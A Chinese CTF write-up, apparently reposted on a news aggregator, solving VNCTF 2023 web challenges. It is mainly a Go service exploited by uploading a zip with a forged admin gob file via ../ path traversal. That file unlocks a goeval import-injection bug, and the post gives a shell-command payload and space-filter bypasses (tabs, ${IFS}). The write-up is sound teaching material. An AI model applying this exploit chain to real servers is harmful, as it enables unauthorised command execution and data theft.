Redian新闻
>
CTF 代码审计那些事

CTF 代码审计那些事

科技


概述

VNCTF 2023来袭!癸卯之初,让我们“兔”飞猛进,再次相聚在VNCTF的舞台!在工作岗位一直担任开发的角色,做着代码审计的相关工作,新年伊始,打算辗转CTF比赛试试水,和大佬学习学习思路,接触下前沿的技术,鞭策自己实时进步,努力向上。这次比赛学到了很多,做个总结,再回首有个念想。

解题过程一

这是一道签到题,这题确实是小白喜欢的题型,本来想着业六的水准能和它一战,但是吧,嗯嗯嗯,,,,想多了,过程中损失了一个大子,随即就开启F12,找源码找逻辑,签到题应该不会很难。原则先找可读性比较好的文件,因为小白贼菜。翻了几个文件看到了输赢的判断如下:

当my===1的时候就能赢啊,这里提供两种方法,直接调用这个方法,给这个方法传递参数等于1:

另一个思路,把true的代码直接复制运行

解题过程二

它说这个才是真的签到,咱第一个不算。这题花费一天的时间都在搞它,确实学到了很多点。小白第一次参加,实属有点不知道什么套路,当时和同事感慨了一句,怎么web题还有ruse语言的,还有go语言的,还有php语言的,还有js的。N年前没有这些吧。感慨怎么发展这么迅速。

不扯了,点入靶场链接,看到给了个路径

惊掉了小白的下巴,啊,,,按钮呢,上传点呢,,,怎么什么都没有,以为给隐藏了,开启调试,还是毛线没找到啊,有点懵,找个身经百战的大佬问问,这是咋回事。

当时就很迷,以为就有个链接,其实人家给咱源码了,眼瞎没看到,咳咳,,,,找到源码就知道下步干嘛了,分析源码呗。

这里给了几个方法,一个是服务器根目录,一个是上传的功能,一个是解压缩的方法,一个是后门的方法,难倒这个后门方法攻破了就能直接flag。这是小白当时的想法,那咱就先上传,然后解压,再后门。看看后面能执行到什么程度吧。分析源码开始,

r.GET("/"func(c *gin.Context) {
    userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
    session := sessions.Default(c)
    session.Set("shallow", userDir)
    session.Save()
    fileutil.CreateDir(userDir)
    gobFile, _ := os.Create(userDir + "user.gob")
    user := User{Name: "ctfer", Path: userDir, Power: "low"}
    encoder := gob.NewEncoder(gobFile)
    encoder.Encode(user)
    if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
        c.HTML(200"index.html", gin.H{"message""Your path: " + userDir})
        return
    }
    c.HTML(500"index.html", gin.H{"message""failed to make user dir"})
})

这个方法创建了一个家目录,就是一进来就给展示在页面上的那个目录,然后给你创建了一个user.gob的文件,这是个知识点,学习下:

  • • 为了让某个数据结构能够在网络上传输或能够保存至文件,它必须被编码然后再解码。当然,已经有许多可用的编码方式了:JSON,XML,Google 的 protocol buffers,等等。而现在,又多了一种,由 Go 的 gob 包提供的方式。gob是Golang包自带的一个数据结构序列化的编码/解码工具。编码使用Encoder,解码使用Decoder。一种典型的应用场景就是RPC(remote procedure calls)。

当小白看到json、xml的时候,就放心了,原来是类似它们的东西。

然后看上传和解压缩的过程代码:在上传方法里,有个简单的校验如下:

ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
    c.HTML(500"upload.html", gin.H{"message""Hacker!"})
    return
}

简单直白的说一下,就是不让传递后缀为gob、go的文件,然后有解压缩的方法,我们可以包装一下,传递zip的包啊,这是第一反应。看解压缩过程:

files, _ := fileutil.ListFileNames(userUploadDir)
        destPath := filepath.Clean(userUploadDir + c.Query("path"))
        for _, file := range files {
            if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
                err := fileutil.UnZip(userUploadDir+file, destPath)

逻辑是读取上传目录下的文件,如果是zip的压缩包,这里就给解压出来,但是,需要注意的是,这哥们有个参数啊,这个参数老关键了。你得结合后门的那个方法,给这个参数传递一个值,当时这个层级结构搞的有混乱,细节要做好啊,这个path的参数多关注下吧。放张上传的图片:

这时看最后一个方法逻辑,后门的程序:

if fileutil.IsExist(userDir + "user.gob") {
            file, _ := os.Open(userDir + "user.gob")
            decoder := gob.NewDecoder(file)
            var ctfer User
            decoder.Decode(&ctfer)
            if ctfer.Power == "admin" {
                eval, err := goeval.Eval("""fmt.Println(\"Good\")", c.DefaultQuery("pkg""fmt"))
                if err != nil {
                    fmt.Println(err)
                }

它会在你的家目录读取user.gob的文件,这个文件里的值是第一次访问这个平台的时候,它主动给你生成的文件,里面的值如下:

user := User{Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)

这里原始的Power是low,不是admin啊,所以后门程序执行不到admin的判断里面啊,咋办啊,自己构建个payload,上传覆盖,代码如下:

// 创建一个 User 实例
user := User{Name: "ctfer", Path: "/tmp/cc305916937566a7e859ad4e3f4ab095/", Power: "admin"}
// 打开文件
file, err := os.Create("user.gob")
if err != nil {
    panic(err)
}
// 创建一个 gob 编码器
encoder := gob.NewEncoder(file)
// 将 Person 实例编码并写入文件中
err = encoder.Encode(user)
if err != nil {
    panic(err)
}
// 关闭文件
file.Close()

因为后门程序读取的文件名是user.gob的文件,这个在创建的时候,要对应起来,让后面的程序能读到构建地这个文件。压缩文件成zip的格式,通过上传,传递过去。再通过解压,覆盖原来user.gob的文件,这的关键,要把path这个变量给予正确的值,此时path正确的值为../。这是当时困扰小白的疑惑点,截图说下这个疑惑点。

群里管理员的id:

不知道算不算是奇怪问题,就问了一嘴。果然,还是小白太粗心。又回头去仔细看path这个参数。因为上传点有个upload目录,得跳出来。所以这个点,也不难,但是当时迷了,转不过这个弯弯。哈哈哈哈。因为本地运行没问题,就肯定path是关键,所以后面花了点时间,把这个点绕过来了。到这里想总结两点:

  • • 作为服务方,id要亲近些,方便沟通

  • • web工作者,要有本地代码运行的能力,不然玩个der【ruse->小白投降】

通过上面一系列的绕绕,终于运行到了这个admin角色里代码逻辑。也就是eval

if ctfer.Power == "admin" {
    eval, err := goeval.Eval("""fmt.Println(\"Good\")", c.DefaultQuery("pkg""fmt"))
    if err != nil {
        fmt.Println(err)
    }
    c.HTML(200"backdoor.html", gin.H{"message"string(eval)})
    return

这个逻辑,小白以为到这就结束了,谁知道,万里长征才走了一半。

也不知道这个好是不是真的好,小白的flag呢,给吃了。果然都是骗人的。都走到这了,真的不想放弃啊。喝了口水接着看代码:eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))。这个页面上的good应该是这个打印出来的,而后看Eval是具体怎么实现的。代码如下:

func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
    var (
        tmp = `package main

%s

%s

func main() {
%s
}
`

        importStr string
        fullCode string
      newTmpDir = tempDir + dirSeparator + RandString(8)
    )

    if 0len(imports) {
        importStr = "import ("
        for _, item := range imports {
            if blankInd := strings.Index(item, " "); -1 < blankInd {
                importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
            } else {
                importStr += fmt.Sprintf("\n\"%s\"", item)
            }
        }
        importStr += "\n)"
    }
    fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)

    var codeBytes = []byte(fullCode)
    // 格式化输出的代码
    if formatCode, err := format.Source(codeBytes); nil == err {
        // 格式化失败,就还是用 content 吧
        codeBytes = formatCode
    }

    // 创建目录
    if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
        return
    }
    //defer os.RemoveAll(newTmpDir)
    // 创建文件
    tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
    if err != nil {
        return re, err
    }
    //defer os.Remove(tmpFile.Name())
    // 代码写入文件
    tmpFile.Write(codeBytes)
    tmpFile.Close()
    // 运行代码
    cmd := exec.Command("go""run", tmpFile.Name())
    res, err := cmd.CombinedOutput()
    return res, err

这里总结它的逻辑,想用git上的评价。这句评价直接给了小白往下走的信心。

这函数会接受三个参数,从后门程序上来说,第一个参数是空值,第二个参数执行是打印good这个字符串,第三个参数,是引入的包名,这个东西是可以传递参数的啊,可以构建任何语句啊,然后小白的想法就是把flag文件直接os.FileRead("flag"),这样给读出来,这个想法当时尝试了很多次,后来静下心,发现这个名称是不是这个,路径是不是在这个下面,感觉应该不会这么轻易得到flag。后面就精心研读这个eval的代码,这里有个关键点,代码如下:

if blankInd := strings.Index(item, " "); -1 < blankInd {
    importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])

如果代码里面有空格,它会给你截断,后面用双引号给包裹起来,再在后面加上"\n)"的字符串,所以代码里面不能有空格啊,但是go程序就是空格组成的了,临时研究怎么把空格替换成其他的,程序还能运行。随即把大师请出来,给出谋划策的。

大师还是给出了可行的方案,制表符。这样程序就能绕过空格的替换了,但是如果你的程序没有空格,eval的逻辑就会走else,把你的代码直接给引号包裹起来。

其实这里的if的本意是,让传递一个带空格的字符串,前面是包的别名,后面是真实包的地址,绕了很多遍,才意识到这个点,当时以为是空格过滤呢。

后来就是不断尝试构建payload的过程,整体思路就是围绕这段代码

cmd :=exec.Command("/bin/sh","-c","cat${IFS}/ffflllaaaggg")
res,err := cmd.CombinedOutput()
fmt.Println(string(res))
fmt.Println(err)

让它可以执行系统命令,这样就可以解决,上面直接读取flag一厢情愿的尴尬。绕过点总结:

  • • main文件要有main方法,不然报错

  • • go语言的多行注释要有关闭操作

  • • 方法外,逻辑代码不能写

  • • 方法小括号不能分行写,要保持在一行

  • • 空格可以用制表符代替

  • • 在换行括号这种特殊字符串为一行的时候,可以借助const变量声明的方式绕过

  • • 某行某位置之后无用代码,使用单行注释掉

  • • ${IFS} 是linux中的命令 $IFS默认指定space,tab,换行

上面几点是小白写payload无数次的试错血泪史啊。记一下,下次就可以少走一些弯路了。

总结

  1. 1. 知识储备要有一定基础,要有广度

  2. 2. 本地要有相关语言的运行环境,尤其是IDE要专业

  3. 3. 多刷题总结技术点

后续有时间还会持续更新ctf web知识点,不说了,领导让去改项目bug了。

往期推荐

敏感信息泄露

潮影在线免杀平台上线了

自动化渗透测试工具开发实践

【红蓝对抗】利用CS进行内网横向

一个Go版(更强大)的TideFinger

SRC资产导航监测平台Tsrc上线了

新潮信息-Tide安全团队2022年度总结

记一次实战攻防(打点-Edr-内网-横向-Vcenter)

E

N

D


知识星球产品及服务

团队内部平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......


星球分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享


星球知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......


星球网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

扫码加入一起学习吧~

微信扫码关注该文公众号作者

戳这里提交新闻线索和高质量文章给我们。
相关阅读
【讲座预告】律师解答H1B工作签证的那些事儿 | 北美候鸟专家说匹兹堡租房|奥克兰还是松鼠山,一文读懂匹兹堡租房那些事单核M1 CPU上实现FP32 1.5 TFlops算力?这是一份代码指南新来了个同事,代码命名规范是真优雅呀!代码如诗!!和村民掰手腕,显示器成了奶奶们的镜子|拍民族志纪录片那些事儿低代码编程及其市场机遇剖析 | 低代码技术内幕Springboot代码混淆,别再让代码在线上进行裸奔如松:台湾那些事儿,台军大败美国海军陆战队这些人最容易被IRS审计!!提交报税表前避免犯这些错!! 减低被审计的几率!!阿拉斯加邮轮行程最精彩的地方窃取开源代码,还拉黑质疑者,这家 AI 公司试图删除代码了事科幻的原力?被《三体》击中的那些事美国国税局可以对您进行多长时间的审计?关于 IRS 审计触发器、信件等的了解IRS代码 826、846、570 是什么?2022 年纳税记录中常用代码的含义一首桃花这代码居然有差别?CPU友好的代码该这样写微档案---姚念媛入境美国档案以高质量审计监督护航上海经济社会高质量发展!市委审计委员会今天举行会议java代码审计GIF动画渲染、让灯塔闪烁、创建航空动态图……ChatGPT代码解释器插件「不止于代码」19排行榜丨NO.11 蔬菜和水果不能能互相替代?平衡膳食中蔬果的那些事儿基于 Vue 和 Canvas,轻舟低代码 Web 端可视化编辑器设计解析 | 低代码技术内幕【闲聊】那些美味,那些事报税不想被IRS审计,这些错就不要犯了!收入低于$2.5万被审计几率高!美国实习| 安永/毕马威/德勤 3月可投:保险审计/审计/供应链咨询实习岗位!谷歌用机器人大规模删除代码:二十多年积累了数十亿行,已删除5%C++代码那些事物才光彩夺目。新冠腹泻对超出能力范围,实施正常审计程序仍无法发现的隐蔽造假,审计机构该承担责任吗?最高法院回复3折入!TF情人节限定礼盒,经典热门色号TF16+TF80+香水,女人的挚爱!【TF线下活动】如何创新技术架构,助力企业降本增效?5月14日TF103,互联网大厂专家现场解答!60行代码就能构建GPT!网友:比之前的教程都要清晰|附代码十年两会,总书记关心的那些事生命的形观与气观:中西两个角度产生两个医学体系面向数字化提质提效的低代码架构设计 | 低代码技术内幕
logo
联系我们隐私协议©2024 redian.news
Redian新闻
Redian.news刊载任何文章,不代表同意其说法或描述,仅为提供更多信息,也不构成任何建议。文章信息的合法性及真实性由其作者负责,与Redian.news及其运营公司无关。欢迎投稿,如发现稿件侵权,或作者不愿在本网发表文章,请版权拥有者通知本网处理。